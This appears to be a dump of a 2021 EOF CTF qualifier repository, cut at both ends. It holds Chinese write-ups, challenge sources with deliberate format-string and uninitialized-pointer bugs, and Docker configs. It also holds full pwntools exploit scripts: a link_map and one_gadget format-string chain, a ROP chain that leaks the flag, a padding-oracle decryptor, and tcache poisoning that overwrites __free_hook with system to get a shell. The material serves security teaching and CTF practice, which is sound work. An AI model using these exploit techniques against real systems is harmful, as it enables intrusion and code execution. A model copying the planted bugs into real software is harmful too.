server = /home//run.sh user = two-gadget port = 45126 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: 2021/eof-qual/fullchain-buff/README.md ================================================ ## 非預期解 大致步驟為: 1. leak stack address 2. write fmtstr in global 3. use fsb to overwrite `cnt` or return address 因為 `cnt` 在 `printf()` 的深處仍會將 register 上的值 push 到 stack 上: ``` 0x7f9693b13eb2 mov dword ptr [rsp + 4], 0x30 0x7f9693b13eba call __vfprintf_internal 0x7f9693b289f9 <__vfprintf_internal+25> push rbx 0x7f9693b289fa <__vfprintf_internal+26> sub rsp, 0x548 ``` 如果能控制 pointer 指向對應到的 stack 位址,就可以透過 fmt 蓋寫成一個很大的值,之後就是不斷透過 fmt 來做事,像是跳 one gadget 或做 stack pivoting,打法有很多種就不贅述。 ## 預期解 一共分成三個步驟: 1. leak libc address 2. write one gadget to variable `global` 3. overwrite `(struct link_map) map[0]` in the stack 可以先以一個簡單程式做示範: ```c // gcc -Wl,--dynamic-linker=/usr/src/glibc/glibc_dbg/elf/ld.so -no-pie -g -o test test.c #include char globals[0x20] = {0}; int main() { puts("OWO"); return 0; } ``` 配合 gdb script,載入 debug version library 並且下斷點在 `main()`: ``` set exec-wrapper env "LD_PRELOAD=/usr/src/glibc/glibc_dbg/libc.so" b main r ``` 此時觀察 stack 中的內容,應該都可以發現有一個位址落在 `ld.so` (dynamic linker library) 下方的記憶體區塊: ![](images/1.png) 而此位址是在 linker 一開始替程式做一些執行的前處理時所留下,如果有興趣的話可以下斷點在 `_dl_init()` 開始追,這邊是 linker 在做初始化環境的程式碼: ![](images/2.png) 最後確實會在某個地方準備執行 `_start()`,也就是 c-runtime: ![](images/3.png) 因此實際上 `_start()` 還不能說是整個程式載入時的第一個進入點,linker 前面還做了一大堆事情。而 `main()` 在 return 後會回到 `<__libc_start_main+243>` (常打 pwn 的應該會對 243 這個數字不陌生),最後執行 `exit()`,而 `exit()` 在往深入追的話會到 `__run_exit_handlers()`,這個 function 才會真正的去執行某些 segment 的 fini function ([exit.c](https://elixir.bootlin.com/glibc/glibc-2.31/source/stdlib/exit.c)): 1. `__call_tls_dtors()`: tls (thread local storage) 的 destructor,當 thread 結束或是 process exit 時會呼叫到 2. traverse `exit_function_list` 的 while loop: 執行透過 `atexit()` 或 `on_exit()` 所註冊的 function,正常情況下只會有一個 function `_dl_fini()` 會被執行,如果有註冊的會被 insert 在更前面的位置 3. `RUN_HOOK (__libc_atexit, ());`: 變數 `__elf_set___libc_atexit_element__IO_cleanup__` 內會存放一個 function address,而該段程式碼會去執行對應的 function,正常情況下是 `_IO_cleanup()`,也意味著 `exit()` 在最後會執行 flush buffer 之類的行為 - 這邊 `__elf_set___libc_atexit_element__IO_cleanup__` 會是可寫的,因此這邊也可以作為寫入 one_gadget 的目標,而且剛好滿足: ```shell 0xe6c7e execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL ``` 最後會執行 `_exit()`,裡面就單純執行 `sys_exit` 離開程式。 接下來追 `_dl_fini()` 的執行流程 ([dl-fini](https://elixir.bootlin.com/glibc/glibc-2.31/source/elf/dl-fini.c)),這個 function 對應一開始 linker 用來初始化環境的 function `_dl_init()`,主要處理呼叫 loaded objects 的 destructor function,其中由於 process 可能處在多個 namespace,因此 `_dl_fini()` 也會 handle 不同 namespace 的情況,但是如果只處於一個 namespace,也就是最一般的情況,實際上程式碼會直接從下方開始: ```c struct link_map *maps[nloaded]; unsigned int i; struct link_map *l; // 取得該 namespace 的 loaded shared objects for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next) if (l == l->l_real) { assert (i < nloaded); maps[i] = l; l->l_idx = i; ++i; ++l->l_direct_opencount; } ... unsigned int nmaps = i; ... ``` 在執行完上方的 for loop 後,`maps[]` 儲存: 1. `maps[0]`: binary 本身 2. `maps[1]`: **linux-vdso.so.1** 3. `maps[2]`: **/usr/src/glibc/glibc_dbg/libc.so** 4. `maps[3]`:**/usr/src/glibc/glibc_dbg/elf/ld.so** 這些 loaded shared objects 本身可能會定義一些在程式結束前所要執行的 fini function,在這邊先取得其對應到的 `struct link_map` object,而 `struct link_map` 被用來描述 loaded shared object 的一些屬性,結構如下: ```c struct link_map { ElfW(Addr) l_addr; char *l_name; ElfW(Dyn) *l_ld; struct link_map *l_next, *l_prev; }; ``` 再來就是透過 for loop 來 traverse 所有的 `maps`,而 `struct link_map` 結構本身的資訊如 `l_info` 都來自 ELF 的 section,基本上都能找到相對應的資料: ```c for (i = 0; i < nmaps; ++i) { struct link_map *l = maps[i]; if (l->l_init_called) { l->l_init_called = 0; // 這個 object 有沒有定義 fini function (destructor) // #define DT_FINI_ARRAY 26 // #define DT_FINI 13 if (l->l_info[DT_FINI_ARRAY] != NULL || l->l_info[DT_FINI] != NULL) { // 如果是給一個 fini array 去執行,這樣 array 所儲存的每個 function address 都需要被呼叫 if (l->l_info[DT_FINI_ARRAY] != NULL) { // 取得 array 的開頭 ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); // 取得總共的 element 數量 unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); // 呼叫每個 fini function while (i-- > 0) ((fini_t) array[i]) (); } // 之後檢查會不會有比較舊的 destructor if (l->l_info[DT_FINI] != NULL) DL_CALL_DT_FINI (l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr); /** * # define DL_CALL_DT_FINI(map, start) ((fini_t) (start)) () * 可以看做執行 (*(l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr))() */ } ... } ... } ``` 而在處理 `maps[0]` 並執行到 `ElfW(Addr) *array = ...` 時,會發現 `maps[0]` 的值會等於我們在 `main()` 看到 stack 內有儲存某個落於 `ld.so` 下方的位址,也就代表那個位址指向 binary 本身的 `struct link_map`: ![](images/4.png) 看一下一些變數的相對位址與值: ![](images/5.png) - `l->l_addr` 的值為 0,而且是第一個 member,位址與 `struct link_map` 本身的位址相同 - `l->l_info[26]->d_un.dptr` 的值為 0x403e18,並且因為 `l_addr` 為 0,`array` 會指向 0x403e18 - `array[0]` 為 `0x401100`,是 `__do_global_dtors_aux()` 的位址,代表 binary 本身已經有註冊 auxiliary vector 的 destructor - 變數 `char globals[0x20]` 的位址為 `0x404060` - `array` 與 `char globals[0x20]` 的差距為 584 (0x248) 最後取出 `array[]` 內儲存的 function pointer 並執行,執行次數已經在編譯時期定義在 section 當中,為以下變數 `i` 儲存的值 (`1`): ![](images/6.png) 到此回到 fullchain-buff 題目本身,總共可以利用三次: 1. 利用 fmt 來 leak libc address,並找出 one gadget 的位址 2. 可以在 `globals` 變數中讀入 fmt,並在 `globals+0x10` 的地方寫入 one gadget 的位址 3. 印出第二步讀入的 fmt 來寫入在 stack 當中儲存指向 `maps[0]` 位址的 pointer,篡改 `l->l_addr` 的值為 `globals+0x10 - l->l_info[26]->d_un.dptr`,這樣再加上 `l->l_info[26]->d_un.dptr` 後 `array` 就會是 `globals+0x10` 最後 `array[0]` 會取出 one gadget address,並做為 function pointer 去呼叫。不過在呼叫時,單純使用 tool **one_gadget** 找到的 gadget 並沒辦法滿足條件,只能自己去 `__execvpe()` 裡面挖,而 `libc + 0xe6f31` 的 one gadget 需要滿足: 1. `rbp-0x50` is writable 2. `rax == NULL || [rax] == NULL` 3. `r12 == NULL || [r12] == NULL` 剛好符合條件,因此只需要填入此 one gadget,就能在 `((fini_t) array[0]) ()` 時 get shell。 [full exploit and source code](https://github.com/u1f383/Software-Security-2021/tree/master/quals) ================================================ FILE: 2021/eof-qual/hello-world/README.md ================================================ 此題沒有附上 source code,單純是要考為 function 加上 `__attribute__((destructor))` 的屬性後,該 function 就會在 `_dl_fini()` 時被呼叫: ``` c static void fini() __attribute__((destructor)); static void fini() { uint16_t flag[] = {0x2f00, 0x6800, 0x6f00, 0x6d00, 0x6500, 0x2f00, 0x6800, 0x6500, 0x6c00, 0x6c00, 0x6f00, 0x2d00, 0x7700, 0x6f00, 0x7200, 0x6c00, 0x6400, 0x2f00, 0x6600, 0x6c00, 0x6100, 0x6700, 0x0000}; unsigned char owo[23] = {0}; for (int i = 0; i < 23; i++) owo[i] = flag[i] >> 8; int fd = open(owo, O_RDONLY); if (fd == -1) return; char s[0x10] = {0}; read(0, s, 1); if (s[0] == '\xff') read(0, s, 0x200); } ``` 當知道有這個 function 的存在後,直接做 ROP 執行 `read(3, buf, ) + puts(buf)` 後跳回 `main()`,讓他執行 `fflush()` 將 output buffer 清空即可,ROP payload 如下: ```python rop = flat( # read(3, bss, ) rop_pop_rdi_ret, 3, rop_pop_rsi_r15_ret, bss, 0, plt_read, # puts(bss) rop_pop_rdi_ret, bss, plt_puts, main # will call fflush(stdout) ) ``` 這邊遇到滿多人詢問為什麼在 remote 時 flag 不會輸出,原因在於根據環境的不同,buffer type 也有可能不太一樣,剛好這支程式在 remote 時 buffer type 為 `_IOFBF` (Full buffering),資料滿的時候才會清空並印出,跟 local 時的 buffer type `_IOLBF` (Line buffering) 並不相同,因此在 remote 才需要透過 `fflush(stdout)` 清空 stdout 的 buffer。 [full exploit and source code](https://github.com/u1f383/Software-Security-2021/tree/master/quals) ================================================ FILE: 2021/eof-qual/myfs/README.md ================================================ 這題基本上就是考看 code + 找洞,利用相較容易,**flag2** 的問題最明顯,因為沒事不會設計成可以篡改加密的檔案,還做 padding 跟檢查 padding,寫法有夠怪應該是最容易發現。 解掉 **flag1** 也能解 **flag2**,因為 uid 相同直接用 `dec()` 解開就好;解掉 **flag3** 也能解 **flag1, 2**,因為可以透過漏洞構造出 `aar()` 跟 `aaw()`,改 uid or leak key 都可。 ### flag1 雖然看似 `mu_cnt` 有擋不能為 `0x100`,但是 `mu_cnt` 因為是 `uint8_t`,因此值只會在 0 ~ 255,不會有 256 的情況。所以當你建立夠多使用者,就能讓你的 uid 變成 0,而檔案存取是看 `uid` 是否相同,所以可以存取到 root 的檔案,拿到 flag。 ```c const uint32_t mu_max_user_cnt = 0x100; static uint8_t mu_cnt = 0; MyUser *__new_mu(const char *username, const char *password, MyFile *rootfs_mf) { if (mu_cnt == mu_max_user_cnt) return NULL; } ``` ### flag2 加解密過程請看 `my_encrypt()` 與 `my_decrypt()` 的 code。 leak iv: ```c ssize_t write_mf(MyUser *ms, MyFile *mf) { ... if (mf_is_enc(mf)) return hexdump(mf->data.ino->content, AES_BLOCK_SIZE); ... } ``` overwrite iv: ```c int read_mf(MyUser *mu, MyFile *mf) { ... if (mf_is_enc(mf)) return read(STDIN_FILENO, mf->data.ino->content, mf->size); ... } ``` 因為可以 leak 出加密的檔案 iv 並修改,加上解密時若 padding 不對就會回報 error,因此我們可以透過 padding oracle attack 來爆出明文,exploit 如下: ```python flag = b'\n\x07\x07\x07\x07\x07\x07\x07' i = len(flag) + 1 while i < 0x10: if sys.argv[1] == 'remote': r = remote('edu-ctf.zoolab.org', 30213) solve_pow(r) else: r = process('./myfs') write_file('test_file_L1') cipher = r.recvuntil('/> ', drop=True) cipher = bytes.fromhex(cipher.decode()) tmp_cipher = cipher[:-i] + b'\x00' for j in range(-i+1, 0, 1): tmp_cipher += bytes([ cipher[j] ^ flag[j] ^ i ]) r.sendline("info test_file_L1") try: for bt in range(0x100): if bt == cipher[-i]: continue if -i + 1 == 0: try_cipher = tmp_cipher[:-i] + bytes([bt]) else: try_cipher = tmp_cipher[:-i] + bytes([bt]) + tmp_cipher[-i+1:] read_file('test_file_L1', try_cipher) dec_file('test_file_L1') oracle = r.recv(3) if oracle != b'[-]': xd = bytes([bt ^ i ^ cipher[-i]]) if xd.decode() in wl: flag = xd + flag print("[flag]: ", flag) i += 1 break except: pass ``` ### flag3 `_new_normfile()` 在建立新的 **normfile** 時沒有對 `mf->data.ino->content` 初始化: ```c MyFile *_new_normfile(uint8_t uid, char *fn) { MyFile *mf = __new_mf(); mf->uid = uid; mf->fn = strdup(fn); mf->data.ino = (iNode *) malloc(sizeof(iNode)); // 這邊應該要多一個: mf->data.ino->content = NULL; mf->data.ino->refcnt = 1; return mf; } ``` 而在呼叫 `read_mf()` 時若 `mf->data.ino->content` 為 0,基本上等同於 `calloc()`: ```c int read_mf(MyUser *mu, MyFile *mf) { ... if (!mf->size || chk_min < 0 || chk_max < 0 || chk_min > nr || chk_max < nr) mf->data.ino->content = realloc(mf->data.ino->content, nr + 0x10); ... } ``` 然而因為 heap 一開始沒有什麼資料,因此 `mf->data.ino->content` 預設就會指向 `NULL`,致使在呼叫 `read_mf()` 時不會發生問題。然而一旦 deleted 的檔案到達 16 個,就會觸發 gc 的回收機制,將每個 deleted `MyFile` 給釋放掉,此時若再新增 **normfile**,`mf->data.ino->content` 就未必指向 NULL 了。實際上可以透過這種方式控制 0x30 tcache 中某個 chunk 的 next,在撞 1/16 機率的情況下,可以指定拿到在 heap address 當中的某塊記憶體區塊。 而 `iNode` 的大小剛好是 0x30,如果能夠順利讓 `iNode` 拿到我們所控制的 chunk,並且與某個 `MyFile` 的 `content` 做重疊,就能透過印出/修改 `iNode` 的 pointer 來 leak heap/overwrite content pointer,構造 `aar()` 與 `aaw()` 的 primitive。最後用 `aar()` 讀殘留在 heap 上的 openssl library 位址來 leak libc,以 `aaw()` 寫 `__free_hook` 成 `system` 即可,exploit 如下: ```python for i in range(0xe): create_normfile(str(i)) create_normfile('large_file') read_file('large_file', 0x408 * b'\x00') for i in range(0xe): delete_file(str(i)) create_normfile('owo') # gdb.attach(r) read_file('owo', b'\x50\x3b') create_normfile('qaq') read_file('qaq', 0x18 * b'\x00') write_file('large_file') # overlap with inode of qaq r.recv(0x10) heap = u64(r.recv(6).ljust(8, b'\x00')) - 0x18a0 info(f"heap: {hex(heap)}") def aar(addr): data = (p64(0)*2 + p64(addr)).ljust(0x408, b'\x00') read_file('large_file', data) write_file('qaq') def aaw(addr, content): data = (p64(0)*2 + p64(addr)).ljust(0x408, b'\x00') read_file('large_file', data) read_file('qaq', content.ljust(0x18, b'\x00')) aar(heap + 0x890) libc = u64(r.recv(8)) - 0x2d0e00 - 0x1f2000 __free_hook = libc + 0x1eeb28 _system = libc + 0x55410 info(f"libc: {hex(libc)}") aaw(heap + 0x10, p64(0x0000000100040000)) aaw(__free_hook - 8, b'/bin/sh\x00' + p64(_system)) for i in range(0xf): create_normfile(str(i)) for i in range(0xf): delete_file(str(i)) delete_file('qaq') r.interactive() exit(1) except Exception as e: print(e) ``` P.S. 過程中可能會遇到 0x30 tcache `count != 0` 但是 `entrt == NULL` 的情況,因此需要先透過 `aaw()` 來修改 `tcache_perthread_struct` 的內容,才能讓程式繼續執行。 [full exploit and source code](https://github.com/u1f383/Software-Security-2021/tree/master/quals) ================================================ FILE: 2021/quals/exp/fullchain-buff.py ================================================ #!/usr/bin/python3 from pwn import * import sys context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] if len(sys.argv) > 1: r = remote('edu-ctf.zoolab.org', 30205) # leak libc r.sendlineafter('global or local > ', 'local') r.sendlineafter('read or write > ', 'write%23$p') libc = int(r.recvuntil('global or local', drop=True)[-14:], 16) - 0x270b3 one_shot = libc + 0xe6f31 """ 0xe6f31: rax == NULL || [rax] == NULL """ info(f"libc: {hex(libc)}") info(f"one_shot: {hex(one_shot)}") # write one_gadget r.sendlineafter(' > ', 'global') r.sendlineafter('read or write > ', 'read') r.sendlineafter('length > ', '22') r.send(b'%688c%42$nAAAAAA' + p64(one_shot)[:6]) # overwrite link_map r.sendlineafter('global or local > ', 'global') r.sendlineafter('read or write > ', 'write') r.interactive() else: r = process('./fullchain-buff') # leak libc r.sendlineafter('global or local > ', 'local') r.sendlineafter('read or write > ', 'write%23$p') libc = int(r.recvuntil('global or local', drop=True)[-14:], 16) - 0x270b3 one_shot = libc + 0xe6f31 """ 0xe6f31: rax == NULL || [rax] == NULL """ info(f"libc: {hex(libc)}") info(f"one_shot: {hex(one_shot)}") # write one_gadget r.sendlineafter(' > ', 'global') r.sendlineafter('read or write > ', 'read') r.sendlineafter('length > ', '22') r.send(b'%688c%42$nAAAAAA' + p64(one_shot)[:6]) # overwrite link_map r.sendlineafter('global or local > ', 'global') r.sendlineafter('read or write > ', 'write') r.interactive() ================================================ FILE: 2021/quals/exp/hello-world.py ================================================ #!/usr/bin/python3 from pwn import * import sys context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] if len(sys.argv) > 1: r = remote('edu-ctf.zoolab.org', 30212) else: r = process('./hello-world') plt_puts = 0x401080 plt_read = 0x401090 bss = 0x404140 rop_pop_rdi_ret = 0x4013a3 rop_pop_rsi_r15_ret = 0x4013a1 main = 0x401301 rop = flat( rop_pop_rdi_ret, 3, rop_pop_rsi_r15_ret, bss, 0, plt_read, rop_pop_rdi_ret, bss, plt_puts, main ) r.send(b'\xff' + b'\x00' * 0x8 * 15 + rop) r.interactive() ================================================ FILE: 2021/quals/exp/myfs-fuzz.py ================================================ #!/usr/bin/python3 from pwn import * import random context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = process('./myfs') def create_user(u, p): r.sendlineafter('> ', f"useradd {u} {p}") def delete_user(u, p): r.sendlineafter('> ', f"userdel {u} {p}") def login(u, p): r.sendlineafter('> ', f"login {u} {p}") def create_normfile(fn): r.sendlineafter('> ', f"create normfile {fn}") def create_dir(fn): r.sendlineafter('> ', f"create dir {fn}") def delete_file(fn): r.sendlineafter('> ', f"rm {fn}") def enc_file(fn, key): r.sendlineafter('> ', f"enc {fn} {key}") def dec_file(fn, key): r.sendlineafter('> ', f"dec {fn} {key}") def enter_dir(fn): r.sendlineafter('> ', f"cd {fn}") def info(fn): r.sendlineafter('> ', f"info {fn}") def read_file(fn): r.sendlineafter('> ', f"read {fn}") def write_file(fn): r.sendlineafter('> ', f"write {fn}") r.sendline('A' * random.randint(1, 0x100)) def set_prot_file(fn, prot): r.sendlineafter('> ', f"set {fn} {prot}") def unset_prot_file(fn, prot): r.sendlineafter('> ', f"unset {fn} {prot}") def slss_file(fn): r.sendlineafter('> ', f"slss {fn}") def slsd_file(fn): r.sendlineafter('> ', f"slsd {fn}") def hlss_file(fn): r.sendlineafter('> ', f"hlss {fn}") def hlsd_file(fn): r.sendlineafter('> ', f"hlsd {fn}") fn_list = [ chr(i) for i in range(256) ] + [".."] key_list = [ chr(i)*16 for i in range(256) ] uname_list = [ chr(i)*8 for i in range(256) ] pass_list = [ chr(i)*8 for i in range(256) ] epoch = 0 while True: opt = random.randint(0, 18) u = uname_list[ random.randint(0, 255) ] p = pass_list[ random.randint(0, 255) ] fn = fn_list[ random.randint(0, 256) ] key = key_list[ random.randint(0, 255) ] if opt == 0: create_user(u, p) elif opt == 1: delete_user(u, p) elif opt == 2: login(u, p) elif opt == 3: create_normfile(fn) elif opt == 4: create_dir(fn) elif opt == 5: enc_file(fn, key) elif opt == 6: dec_file(fn, key) elif opt == 7: read_file(fn) elif opt == 8: write_file(fn) elif opt == 9: set_prot_file(fn, "read,write") elif opt == 10: unset_prot_file(fn, "read,write") elif opt == 11: slss_file(fn) elif opt == 12: slsd_file(fn) elif opt == 13: hlss_file(fn) elif opt == 14: hlsd_file(fn) elif opt == 15: enter_dir(fn) elif opt == 16: info(fn) elif opt == 17: r.sendlineafter('> ', 'ls') else: cnt = random.randint(1, 0x10) r.sendlineafter('> ', 'A'*cnt) epoch += 1 if epoch % 1000 == 0: print("test...", epoch) r.interactive() ================================================ FILE: 2021/quals/exp/myfs.py ================================================ #!/usr/bin/python3 from pwn import * import sys import string context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] if len(sys.argv) != 3: exit(1) r = None def create_user(u, p): r.sendlineafter('> ', f"useradd {u} {p}") def delete_user(u, p): r.sendlineafter('> ', f"userdel {u} {p}") def login(u, p): r.sendlineafter('> ', f"login {u} {p}") def create_normfile(fn): r.sendlineafter('> ', f"create normfile {fn}") def create_dir(fn): r.sendlineafter('> ', f"create dir {fn}") def delete_file(fn): r.sendlineafter('> ', f"rm {fn}") def enc_file(fn): r.sendlineafter('> ', f"enc {fn}") def dec_file(fn): r.sendlineafter('> ', f"dec {fn}") def enter_dir(fn): r.sendlineafter('> ', f"cd {fn}") def _info(fn): r.sendlineafter('> ', f"info {fn}") def read_file(fn, data): r.sendlineafter('> ', f"read {fn}") r.send(data) sleep(0.5) def write_file(fn): r.sendlineafter('> ', f"write {fn}") def set_prot_file(fn, prot): r.sendlineafter('> ', f"set {fn} {prot}") def unset_prot_file(fn, prot): r.sendlineafter('> ', f"unset {fn} {prot}") def slss_file(fn): r.sendlineafter('> ', f"slss {fn}") def slsd_file(fn): r.sendlineafter('> ', f"slsd {fn}") def hlss_file(fn): r.sendlineafter('> ', f"hlss {fn}") def hlsd_file(fn): r.sendlineafter('> ', f"hlsd {fn}") def verify_hash(prefix, answer, difficulty): h = hashlib.sha256() h.update((prefix + answer).encode()) bits = ''.join(bin(i)[2:].zfill(8) for i in h.digest()) return bits.startswith('0' * difficulty) def solve_pow(r): r.recvuntil('sha256(') prefix = r.recvuntil(' + ???)', drop = True).decode() i = 0 while not verify_hash(prefix, str(i), 20): i += 1 print(i) r.sendlineafter('POW answer:', str(i)) wl = string.ascii_letters + string.digits + '\n' if sys.argv[2] == 'flag3': for _ in range(0x40): try: if sys.argv[1] == 'remote': r = remote('edu-ctf.zoolab.org', 30213) solve_pow(r) else: r = process('./myfs') for i in range(0xe): create_normfile(str(i)) create_normfile('large_file') read_file('large_file', 0x408 * b'\x00') for i in range(0xe): delete_file(str(i)) create_normfile('owo') # gdb.attach(r) read_file('owo', b'\x50\x3b') create_normfile('qaq') read_file('qaq', 0x18 * b'\x00') write_file('large_file') # overlap with inode of qaq r.recv(0x10) heap = u64(r.recv(6).ljust(8, b'\x00')) - 0x18a0 info(f"heap: {hex(heap)}") def aar(addr): data = (p64(0)*2 + p64(addr)).ljust(0x408, b'\x00') read_file('large_file', data) write_file('qaq') def aaw(addr, content): data = (p64(0)*2 + p64(addr)).ljust(0x408, b'\x00') read_file('large_file', data) read_file('qaq', content.ljust(0x18, b'\x00')) aar(heap + 0x890) libc = u64(r.recv(8)) - 0x2d0e00 - 0x1f2000 __free_hook = libc + 0x1eeb28 _system = libc + 0x55410 info(f"libc: {hex(libc)}") aaw(heap + 0x10, p64(0x0000000100040000)) aaw(__free_hook - 8, b'/bin/sh\x00' + p64(_system)) for i in range(0xf): create_normfile(str(i)) for i in range(0xf): delete_file(str(i)) delete_file('qaq') r.interactive() exit(1) except Exception as e: print(e) elif sys.argv[2] == 'flag2': flag = b'\n\x07\x07\x07\x07\x07\x07\x07' i = len(flag) + 1 while i < 0x10: if sys.argv[1] == 'remote': r = remote('edu-ctf.zoolab.org', 30213) solve_pow(r) else: r = process('./myfs') write_file('test_file_L1') cipher = r.recvuntil('/> ', drop=True) cipher = bytes.fromhex(cipher.decode()) tmp_cipher = cipher[:-i] + b'\x00' for j in range(-i+1, 0, 1): tmp_cipher += bytes([ cipher[j] ^ flag[j] ^ i ]) r.sendline("info test_file_L1") try: for bt in range(0x100): if bt == cipher[-i]: continue if -i + 1 == 0: try_cipher = tmp_cipher[:-i] + bytes([bt]) else: try_cipher = tmp_cipher[:-i] + bytes([bt]) + tmp_cipher[-i+1:] read_file('test_file_L1', try_cipher) dec_file('test_file_L1') oracle = r.recv(3) if oracle != b'[-]': xd = bytes([bt ^ i ^ cipher[-i]]) if xd.decode() in wl: flag = xd + flag print("[flag]: ", flag) i += 1 break except: pass r.close() r.interactive() elif sys.argv[2] == 'flag1': if sys.argv[1] == 'remote': r = remote('edu-ctf.zoolab.org', 30213) solve_pow(r) else: r = process('./myfs') for i in range(0xfd): create_user(str(i), str(i)) create_user('fuck', 'fuck') login('fuck', 'fuck') enter_dir('test_dir_L1') write_file('test_file2_L2') r.interactive() else: exit(1) ================================================ FILE: 2021/quals/fullchain-buff/Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m fullchain-buff RUN chown -R root:root /home/fullchain-buff RUN chmod -R 755 /home/fullchain-buff CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2021/quals/fullchain-buff/docker-compose.yml ================================================ version: '3' services: fullchain-buff: build: ./ volumes: - ./share:/home/fullchain-buff:ro - ./xinetd:/etc/xinetd.d/fullchain-buff:ro ports: - "30205:30205" expose: - "30205" ================================================ FILE: 2021/quals/fullchain-buff/share/Makefile ================================================ all: gcc -no-pie -z now -o fullchain-buff fullchain-buff.c ================================================ FILE: 2021/quals/fullchain-buff/share/flag ================================================ FLAG{test} ================================================ FILE: 2021/quals/fullchain-buff/share/fullchain-buff.c ================================================ #include #include #include #include char global[0x20]; void myread(char *addr) { size_t len; printf("length > "); scanf("%lu", &len); if (len >= 24) { puts("Too much"); return; } read(0, addr, len); } void mywrite(char *addr) { printf(addr); } void chal() { char local[0x20] = {0}; char *ptr = NULL; register int cnt = 3; while (cnt--) { printf("global or local > "); scanf("%10s", local); if (!strncmp("local", local, 5)) ptr = local; else if (!strncmp("global", local, 6)) ptr = global; else exit(1); printf("read or write > "); scanf("%10s", local); if (!strncmp("read", local, 4)) myread(ptr); else if (!strncmp("write", local, 5)) mywrite(ptr); else exit(1); } puts("Bye ~"); exit(1); } int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); puts("[*] Flag is in the /home/fullchain-buff/flag"); chal(); } ================================================ FILE: 2021/quals/fullchain-buff/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null timeout 60 /home/fullchain-buff/fullchain-buff ================================================ FILE: 2021/quals/fullchain-buff/xinetd ================================================ service fullchain-buff { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/fullchain-buff/run.sh user = fullchain-buff port = 30205 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: 2021/quals/myfs/Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd libssl-dev RUN useradd -m myfs RUN chown -R myfs:myfs /home/myfs RUN chmod -R 755 /home/myfs COPY share /home/myfs/ RUN chown myfs:myfs /home/myfs/flag1.txt RUN chown myfs:myfs /home/myfs/flag2.txt USER myfs CMD ["/home/myfs/run.sh"] ================================================ FILE: 2021/quals/myfs/build.sh ================================================ #!/bin/bash docker build -t myfs_myfs . ================================================ FILE: 2021/quals/myfs/pow.py ================================================ #!/usr/bin/env python3 import secrets import hashlib import subprocess ## # https://github.com/balsn/proof-of-work/blob/master/nc_powser.py ## class NcPowser: def __init__(self, difficulty=10, prefix_length=16): self.difficulty = difficulty self.prefix_length = prefix_length def get_challenge(self): return secrets.token_urlsafe(self.prefix_length)[:self.prefix_length].replace('-', 'b').replace('_', 'a') def verify_hash(self, prefix, answer): h = hashlib.sha256() h.update((prefix + answer).encode()) bits = ''.join(bin(i)[2:].zfill(8) for i in h.digest()) return bits.startswith('0' * self.difficulty) def main(): powser = NcPowser() prefix = powser.get_challenge() print(f''' sha256({prefix} + ???) == {'0'*powser.difficulty}({powser.difficulty})... ''') ans = input('POW answer: ') if not powser.verify_hash(prefix, ans): print('Not correct!') return print('Passed!') # you code here import os os.system('docker run -i --rm myfs_myfs') if __name__ == '__main__': main() ================================================ FILE: 2021/quals/myfs/run.sh ================================================ #!/bin/bash python3 /home/admin/quals/myfs/pow.py ================================================ FILE: 2021/quals/myfs/setup.sh ================================================ #!/bin/bash set -e sudo apt install xinetd sudo cp xinetd /etc/xinetd.d/myfs /usr/sbin/xinetd -dontfork & ================================================ FILE: 2021/quals/myfs/share/Makefile ================================================ all: gcc -o myfs main.c fs.c gc.c user.c mycrypto.c -lcrypto ================================================ FILE: 2021/quals/myfs/share/flag1.txt ================================================ FLAG{TEST} ================================================ FILE: 2021/quals/myfs/share/flag2.txt ================================================ FLAG{TEST} ================================================ FILE: 2021/quals/myfs/share/flag3.txt ================================================ FLAG{TEST} ================================================ FILE: 2021/quals/myfs/share/fs.c ================================================ #include "fs.h" #include "list.h" #include "gc.h" #include "mycrypto.h" #include #include #include #include list_head rootfs = { .next = NULL }; extern unsigned char key[17]; MyFile *__new_mf() { MyFile *mf = (MyFile *) malloc(sizeof(MyFile)); mf->fid = mf_cnt++; mf->uid = 0; mf->refcnt = 1; mf->size = 0; mf->metadata = 0; mf->data.ino = NULL; mf->dir_hd.next = NULL; mf->next_file.next = NULL; return mf; } MyFile *_new_normfile(uint8_t uid, char *fn) { MyFile *mf = __new_mf(); mf->uid = uid; mf->fn = strdup(fn); mf->data.ino = (iNode *) malloc(sizeof(iNode)); mf->data.ino->refcnt = 1; return mf; } MyFile *_new_dir(uint8_t uid, char *fn) { MyFile *mf = _new_normfile(uid, fn); mf->metadata |= MF_META_TYPE_IS_DIR; return mf; } MyFile *_new_slink(uint8_t uid, MyFile *link, char *fn) { MyFile *mf = __new_mf(); mf->uid = uid; mf->data.link = link; mf->metadata |= MF_META_TYPE_IS_SLINK; mf->fn = strdup(fn); link->refcnt++; return mf; } MyFile *_new_hlink(uint8_t uid, MyFile *link, char *fn) { MyFile *mf = __new_mf(); mf->uid = uid; mf->data.ino = link->data.ino; mf->size = link->size; mf->metadata |= (MF_META_TYPE_IS_HLINK | link->metadata); mf->fn = strdup(fn); link->data.ino->refcnt++; return mf; } MyFile* _get_mf_by_fname(MyFile *dir, char *fn) { MyFile *curr_mf = NULL; list_head *curr = dir->dir_hd.next; while (curr) { curr_mf = container_of(curr, MyFile, next_file); if (!strcmp(curr_mf->fn, fn)) return curr_mf; curr = curr->next; } return NULL; } MyFile* get_mf_by_fname(MyUser *mu, char *fn) { return 